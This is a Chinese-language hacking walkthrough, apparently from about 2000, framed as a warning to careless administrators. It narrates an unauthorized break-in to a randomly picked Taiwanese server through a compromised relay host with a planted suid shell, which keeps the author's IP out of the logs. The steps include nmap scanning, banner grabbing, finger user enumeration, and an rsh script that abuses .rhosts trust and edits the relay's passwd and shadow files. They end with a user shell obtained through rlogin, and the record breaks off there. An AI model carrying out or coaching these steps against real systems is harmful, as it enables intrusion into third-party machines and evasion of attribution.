本文的寫作目的僅僅是為了給某些粗心大意的網絡管理人員一個警告——internet是 有趣但十分脆弱的,當你的計算機放在互聯網上給人們提供信息與服務的同時,會引 來網絡中的“好奇者”的窺探。而安全性與便利性是一對矛盾……在你對自己的網絡 做了一個安全策略考量之後,你應該確定你願意以多大的風險來使用一些方便的服務, 當然這些服務——比如rlogin,可能只會使你少輸入一次密碼……
首先是確定目標——撞大運亂挑一個吧,試試能不能成功……呵,於是登上yahoo,上 taiwan的站點小遛了一下……唔,這個還不錯,我們姑且稱其為www.targe.com……還 是先ping一下看看情勢如何——別碰上有牆的就遜了……
C:>ping www.targe.com
Pinging www.targe.com [111.111.111.111] with 32 bytes of data:
Reply from 111.111.111.111: bytes=32 time=621ms TTL=241
Reply from 111.111.111.111: bytes=32 time=620ms TTL=241
Reply from 111.111.111.111: bytes=32 time=611ms TTL=241
Reply from 111.111.111.111: bytes=32 time=591ms TTL=241
速度還是很快的嘛……那就開始吧……
先登上某台跳板台灣的機器——這樣安全一些,不會留下你自己的IP……(當然,說句 題外話——這樣要追查到還不是很困難,曾經有個朋友同我說過,南方某大學一次被 黑,種種跡象都表明黑客來自美國,IP、更改後主頁上留下的話語……朋友受托去補 漏查源,發現那IP是美國一個提供免費shell的服務供應商……於是申請了一個shell, 通過一系列動作成為root,查看系統日志——真相大白,IP居然指向那家大學自身)。
通過跳板還有一個好處——如果你的嘗試失敗,在系統日志裡留下來的是台灣本土的 IP,這樣的登陸失敗命令比較不會引起系統管理員的注意……
C:>nc ***.***.***.*** 12345
就登上跳板了,12345端口裡我預留了一個suid的shell……
好了,祭起寶刀——nmap……
# ./nmap -sT -O 111.111.111.111
Starting nmap V. 2.3BETA12 by Fyodor ([email protected], www.insecure.org/nmap/)
Interesting ports on www.targe.com (111.111.111.111):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
19 open tcp chargen
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
111 open tcp sunrpc
443 open tcp https
512 open tcp exec
513 open tcp login
514 open tcp shell
515 open tcp printer
540 open tcp uucp
3306 open tcp MySQL
TCP Sequence Prediction: Class=random positive increments
Difficulty=55346 (Worthy challenge)
No OS matches for host (If you know what OS is running on it
…………
…………
Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds
唔,運氣還不錯,提供的服務不少,估計漏也少不到哪兒去……只是沒判斷出系統
類型,這些服務裡看上去可以利用的有:
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
79 open tcp finger
80 open tcp http
111 open tcp sunrpc
512 open tcp exec
513 open tcp login
514 open tcp shell
540 open tcp uucp
3306 open tcp mysql
最近rpc攻擊非常流行,原因之一恐怕是方便易行——只要存在漏洞,遠程就可以
得到一個rootshell……甚至對計算機完全不懂的外行也能輕易實施,呵,那咱們
來看看這個111 port的sunrpc裡有什麼奧妙吧……
# rpcinfo -p 111.111.111.111&
21404
# program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
咦,看來沒戲唱哦……好在還有那麼多服務,待偶慢慢試來……
看看是什麼Ftp服務器軟件吧,說不定有遠程溢出的漏洞呢
# ./nc 111.111.111.111 21
#
乖乖龍的東,什麼輸出也沒有就關上了,這是如何一回事?
C:>ftp 111.111.111.111
Connected to 111.111.111.111.
Connection closed by remote host.
呵呵,看來過濾掉了嘛……怎麼辦?看看25端口是運行什麼SMTP服務的吧……
# ./nc 111.111.111.111 25
220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT
Sendmail 8.9.3/8.9.3?好象沒有什麼致命的漏洞呀……
看看是什麼Web服務器先……
# (echo "head /http/1.0";echo;echo)|./nc -w 3 111.111.111.111 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
head to /http/1.0 not supported.<P>
Invalid method in request head /http/1.0<P>
<HR>
<ADDRESS>Apache/1.3.9 Server at ***-***-***-*** Port 80</ADDRESS>
</BODY></HTML>
阿帕奇這個版本的東東至少偶的印象中沒有什麼“死穴”……
好在開了finger,俺就土土地先把用戶列表弄出來吧……
finger [email protected]
[www.targe.com.tw]
root
aaa
bbb
ccc
ddd
總算有點收獲……,那麼下一步該做什麼呢?既然這台主機開了512、513、514的r
系列服務,那就值得嘗試一下,說不定哪個偷懶的家伙直接在.rhosts裡設了
+ username
那我就爽了……
順手寫了個shell script,讓它去一個一個地嘗試rsh命令,傳到肉雞上
# chmod 700 rsh.sh
# nohup ./rsh.sh www.targe.com
它會自動地在/etc/passwd和/etc/shadow裡加上finger出來的用戶名,然後su過去,
再對遠程目標111.111.111.111執行rsh命令,成功則返回該用戶名……然後將備份的
passwd和shadow再拷回去……刪除臨時文件,生成報告文件……(或許是我對.rhosts
的理解還有問題,有時我在機裡加上+ +但rcp時還會報Permission denied或者connect
refused,所以干脆都su成用戶——或許太笨;)
我便再去MUD裡當我的大蝦了……半個小時後回來
登上肉雞,讀取報告文件.rsh.txt
# cat ./.rsh.txt
ccc
hehe,非常抱歉,看來俺得到一個shell了……
進去看看……
# rlogin -l ccc 111.111.111.111
Last login: Fri Mar 24 19:04:50 from 202.102.2.147
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
The Regents of the University of California. All rights reserved.
FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999
You have mail.
呵,原來是FreeBSD 3.2-RELEASE呀,感覺不錯,進來了,看看我的權限如何吧……
> id
id
uid=10